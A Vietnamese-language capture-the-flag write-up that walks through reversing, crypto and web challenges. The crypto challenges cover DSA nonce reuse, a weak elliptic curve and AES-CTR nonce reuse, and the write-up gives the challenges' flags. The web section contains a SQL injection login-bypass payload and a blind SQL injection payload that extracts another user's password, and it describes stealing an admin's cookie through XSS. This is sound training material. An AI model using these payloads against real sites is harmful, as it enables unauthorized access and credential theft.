1; string trace = node.trace + 'u'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'u'; o.push({node.node + step , trace}); } } }}int main() { bfs(); cout << "done" << endl; cout << "ans: " << res.size() << endl; for (int i=0; i<res.size(); i++) cout << res[i] << endl; return 0;}
Chạy thử chương trình:
Tổng cộng có 6 kết quả, mình thử 1 trong những kết quả trên thì cuối cùng cũng ra flag.
flag{star_/_so_bright_/_car_/_site_-ppsu}
wstrings
Challenge
File: wstrings
Solve:
Mình bỏ thẳng vào IDA Pro chạy thử:
Xem thử biến flag:
flag{n0t_al1_str1ngs_ar3_sk1nny}
Crypto
GiongfNef
scissor
import randomkey = random.randint(0, 25)alphabet = 'abcdefghijklmnopqrstuvwxyz'shifted = alphabet[key:] + alphabet[:key]dictionary = dict(zip(alphabet, shifted))print(''.join([ dictionary[c] if c in dictionary else c for c in input()]))
egddagzp_ftue_rxms_iuft_rxms_radymfCertainly, it’s Caesar cipher
`surround_this_flag_with_flag_format
baby
n: 228430203128652625114739053365339856393e: 65537c: 126721104148692049427127809839057445790
RSA? sure :v
flag{68ab82df34}
round-the-bases
9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:Jj8<
base85 – > base64 – > hex -> decimal – > octal – > binary
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}
lttn
Kepper_of_the_flag
Challenge
#!/usr/local/bin/python3from Crypto.Util.number import *from Crypto.PublicKey import DSAfrom random import *from hashlib import sha1rot = randint(2, 2 ** 160 - 1)chop = getPrime(159)def H(s): x = bytes_to_long(sha1(s).digest()) return pow(x, rot, chop)L, N = 1024, 160dsakey = DSA.generate(1024)p = dsakey.pq = dsakey.qh = randint(2, p - 2)g = pow(h, (p - 1) // q, p)if g == 1: print("oops") exit(1)print(p)print(q)print(g)x = randint(1, q - 1)y = pow(g, x, p)print(y)def verify(r, s, m): if not (0 < r and r < q and 0 < s and s < q): return False w = pow(s, q - 2, q) u1 = (H(m) * w) % q u2 = (r * w) % q v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q return v == rpad = randint(1, 2 ** 160)signed = []for i in range(2): print("what would you like me to sign? in hex, please") m = bytes.fromhex(input()) if m == b'give flag' or m == b'give me all your money': print("haha nice try...") exit() if m in signed: print("i already signed that!") exit() signed.append(m) k = (H(m) + pad + i) % q if k < 1: exit() r = pow(g, k, p) % q if r == 0: exit() s = (pow(k, q - 2, q) * (H(m) + x * r)) % q if s == 0: exit() print(H(m)) print(r) print(s)print("ok im done for now")print("you visit the flag keeper...")print("for flag, you must bring me signed message:")print("'give flag':" + str(H(b"give flag")))r1 = int(input())s1 = int(input())if verify(r1, s1, b"give flag"): print(open("flag.txt").readline())else: print("sorry")
Đề cho ta 1 Server verify DSA. Chúng ta có thể input 2 lần khác nhau đẻ lấy 2 chữ kí và phải nhập lại chữ kí đúng của b"give flag" để có flagThông tin chúng ta có: p, q ,g, y
Nếu chúng ta gửi 1 message lên để kí thì ta sẽ được H(m),r,s
Quan sát kĩ mọi thứ có vẻ bình thường nhưng
hơi khác so với 1 DSA thông thường.k = (H(m) + pad + i) % q
Để an toàn thì
:k
` phải thật sư ngẫu nhiên để tranh việc bị lộ private key
`x
` vì nếu có
`k
` thì sẽ dễ dàng tim được
`x
Nếu chúng ta có được x
` thì dễ dàng kí được message
`b'give flag'
Quay lại nhìn vào Server, Server yêu cầu nhập 2 message khác nhau nhưng k được tính bằng cách
. Do pad là không đổi mỗi lần connect nên mình sẽ tìm cách nhập 2 message sao cho Sha1 của chúng giống nhau. Điều này hoàn toàn có thể vì Sha1 có collision và mình tìm thấy ở shatted.io 2 file pdf có cùng sha1. Download file về và dùng nó để làm 2 message gửi lên server :)Lúc này ta thấy H(message1) = H(message2) = > k1+1=k2Sha1(message) + pad + i
Ta sẽ có:
Lúc này tìm sẽ tìm lại được
theo công thức phía trên.k1
` và dễ dàng tim lại
`x
Có được x
` cứ tính
`r
` và
`s
` theo công thức ở Server cho là sẽ kí được
`b'give flag'
blecc
Challenge
Đề bài cho ta 1 file:
p = 17459102747413984477a = 2b = 3G = (15579091807671783999, 15579091807671783999)Q = (8859996588597792495, 2628834476186361781)d = ???Can you help me find `d`?Decode it as a string and wrap in flag format.
Thấy đây tham số của 1 ECC với 2 điểm P và Q.
Vì order của đường cong không lớn và có thể factor ra nhiều số nguyên tố nhỏ hơn nên ta có thể dễ tính d = discrete_log() của sage.
Nhưng khi tạo các điểm thì:
Điểm G không thể tạo được vì không nằm trong đường cong. Mình nghĩ đề cố tình cho sai điểm G nên mình sẽ tìm lại điểm G đúng.
Mình thử tìm là Gy từ Gx bằng lift_x() thì may mắn là đúng điểm G cần tim
scrambled-elgs
Challengeg
Đề cho ta 1 file generate.sage và 1 file output.json
#!/usr/bin/env sageimport secretsimport jsonfrom Crypto.Util.number import bytes_to_long, long_to_bytesfrom sage.combinat import permutationn = 25_000Sn = SymmetricGroup(n)def pad(M): padding = long_to_bytes(secrets.randbelow(factorial(n))) padded = padding[:-len(M)] + M return bytes_to_long(padded)#Prepare the flagwith open('flag.txt','r') as flag: M = flag.read().strip().encode()m = Sn(permutation.from_rank(n,pad(M)))#Scramble the elgsg = Sn.random_element()a = secrets.randbelow(int(g.order()))h = g^apub = (g, h)#Encrypt using scrambled elgsg, h = pubk = secrets.randbelow(n)t1 = g^kt2 = m*h^kct = (t1,t2)#Provide public key and ciphertextwith open('output.json','w') as f: json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)
Đề khởi tạo SymmetricGroup với n = 25000 cùng với m là element có rank là pad(flag), và cho ta g, h ,t1 ,t2
Quan sát đoạn
k = secrets.randbelow(n)t1 = g^kt2 = m*h^k
Vì range của k
` khá bé nên mình brute force để tìm k thõa mãn
`t1 = g^k
` từ đó tim lại m bằng cách lấy
`t1*h^-k
for k in range(n): if t1==g^k: breakm=t2*(h^-k)
Lúc này chỉ cần tìm được
của m là sẽ tìm lại được flag.rank
Mình loay hoay tìm xem có hàm nào trong sage có thể tìm được rank của m không, nhưng mà tìm hòai mà không ra được :(
Sau 1 lúc tìm thì mình thấy decoder.fr có 1 đoạn hướng dẫn tìm rank như sau:
Tìm rank theo công thức trên và có flag:)
yahtzee
Challenge
#!/usr/local/bin/pythonfrom Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytesfrom random import randintfrom binascii import hexlifywith open('flag.txt','r') as f: flag = f.read().strip()with open('keyfile','rb') as f: key = f.read() assert len(key)==32'''Pseudorandom number generators are weak!True randomness comes from phyisical objects, like dice!'''class TrueRNG: @staticmethod def die(): return randint(1, 6) @staticmethod def yahtzee(N): dice = [TrueRNG.die() for n in range(N)] return sum(dice) def __init__(self, num_dice): self.rolls = num_dice def next(self): return TrueRNG.yahtzee(self.rolls)def encrypt(message, key, true_rng): nonce = true_rng.next() cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce)) return cipher.encrypt(message)'''Stick the flag in a random quote!'''def random_message(): NUM_QUOTES = 25 quote_idx = randint(0,NUM_QUOTES-1) with open('quotes.txt','r') as f: for idx, line in enumerate(f): if idx == quote_idx: quote = line.strip().split() break quote.insert(randint(0, len(quote)), flag) return ' '.join(quote)banner = '''============================================================================= Welcome to the yahtzee message encryption service. == We use top-of-the-line TRUE random number generators... dice in a cup! =============================================================================Would you like some samples?'''prompt = "Would you like some more samples, or are you ready to 'quit'?\n"if __name__ == '__main__': NUM_DICE = 2 true_rng = TrueRNG(NUM_DICE) inp = input(banner) while 'quit' not in inp.lower(): message = random_message().encode() encrypted = encrypt(message, key, true_rng) print('Ciphertext:', hexlify(encrypted).decode()) inp = input(prompt)
Mõi lần ta input thì server sẽ trả về AES-CTR encrypt của ouput random_message() với key là không đổi và nonce là output của TrueRNG
Phân tích 1 chút :
- Hàm next() của TrueRNG đơn giản sẽ trả về 1 số random từ 0 -> 12 làm giá trị nonce cho AES-CTR encrypt
- random_message() sẽ lấy ngẫu nhiên 1 quotes (trong tổng số 25 quotes) và chèn flag vào vị trí bất kì trong quotes ấy
- Khi encrypt AES-CTR cũng giống như OTP, tức là sẽ xor plaintext với 1 đoạn ngâu nhiên dựa vào key và nonce, giã sử mã hóa 2 message với cùng 1 key và nocne thì đồng nghĩ với việc xor 2 message với cùng 1 key (khác với key ở trên nhé)
- key của AES-CTR không đổi trong mỗi lần connect
Ý tưởng
Vì next() chỉ trả về từ 0 -> 12 và chỉ có 25 quotes thôi nên mình có thể brute force request thật nhiều lên Server để nhận lại nhiều output. Lúc này trong cái đống output ấy cũng sẽ có cái được encrypt chung 1 key (random ra cùng 1 nonce) và được lấy từ chung quotes :)
Check thử thì thấy các output có tổng cộng 25 độ dài khác nhau, vậy tức là không có quotes nào có chung độ dài ( AES-CTR encrypt không làm thay đổi độ dài),nên dễ dàng biết cái nào la encrypt của chung 1 quotes
Tiếp theo xor 2 quotes có cùng độ dài với nhau, nếu ra được nhiều b'\x00' thì chúng được mã hóa chung 1 key. Lúc này sẽ có 1 không phải b'\x00' vì đoạn này chinh là flag đã được chèn vào.
Lúc này với mỗi quotes ban đầu ta có được các ouput của quotes ấy được encrypt với cùng 1 key
Mình sẽ gọi quotes ban đầu từ quotes1 -> quotes25 cho dễ hiểu nhé
Bây giờ giá sử với quotes1 mình sẽ chọn 2 ouput đã tìm được ở trên được mã hóa cùng 1 key. Xor 2 ouput ấy sẽ ra được rất nhiều b'\x00' và có 1 đoạn không phải b'\x00' mình tam gọi đoạn này là xored1
Lúc này
, lúc này mình sẽ ra được 5 chữ cái english nào đó có thể thành từ được ( vì là quotes mà :) ) rồi sau đó tiếp tục đoán xem các chữ cái tiếp theo là gì và xor ngược lại với xored1để tìm được các kí tự tiếp theo của flag: xored1 = flag xor 1 đoạn của quotes1
`, vì mình biết được flag format là
`flag{
` nên mình xor
`xored1
` với
`flag{
Ví dụ
( tương tự xored1 nhưng với quotes2) , lúc này không cần làm lại tmà cứ lấy đoạn flag vừa tìm được để xor và tìm các kí tự tiếp theo, đén khi không đoán được thì lại chuyển sang quotes khác ... 'flag{' ^ xored1 = 'You c'
` thì mình đoán chữ ấy có thể là
`You can
` , rồi lại lấy
` You can
` xor ngược lại
`xored1
` . Cứ làm như thế đến khi không đoán được nữa thì chuyển qua làm với
`xored2
Làm như thế đến khi nào ra flag thì dừng :)
Vì bài này mình làm đa số bằng tay nên mình chỉ ghi lại ý tưởng thôi nha :D
WEB
darkmode
inspect-me
View source -> find string flag and we got:flag{inspect_me_like_123}
orm-bad
Payload : username=%27+or+1--&password=
cool
In this chall, we must brute ginkoid password to get flag
In endpoint /register, the password is not filter, so we can control it to blind sqli
How to blind?
I use this payload|| substr((SELECT password FROM users),1,1) ||
“||” is concatenate operatorEx: “a” || “b”→“ab” The query like this:
Select password from users will fetch all password in database and first 32 character will be ginkoid passwordUser “a” will hold first character from ginkoid pass Solution:
- We create 32 user equivelent 32 character ginkoid pass
- Brute a1->a32Here is my python code:
mtiennnnn
Pastebin-1
Một bài XSS cơ bản. Đề cho 2 web 1 để create paste và 1 admin bot
Ở create paste, thêm là mình đã có thể thực thi code JS
Lấy admin cookie thôi
Mình sẽ dùng request bin để đọc
Gửi url cho admin bot và xem trong request bin là thấy flag
flag{d1dn7_n33d_70_b3_1n_ru57}
Bài này mình làm có tham khảo từ đây
Secure
Đề cho 1 form sign in
Mình thử đăng nhập và thu được là username và password bị encode theo base64 khi đăng nhập
Từ hình trên thì biết được mình có thể dùng sql injection
Vì username hay password đều bị encode nên mình sẽ dùng curl để request
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}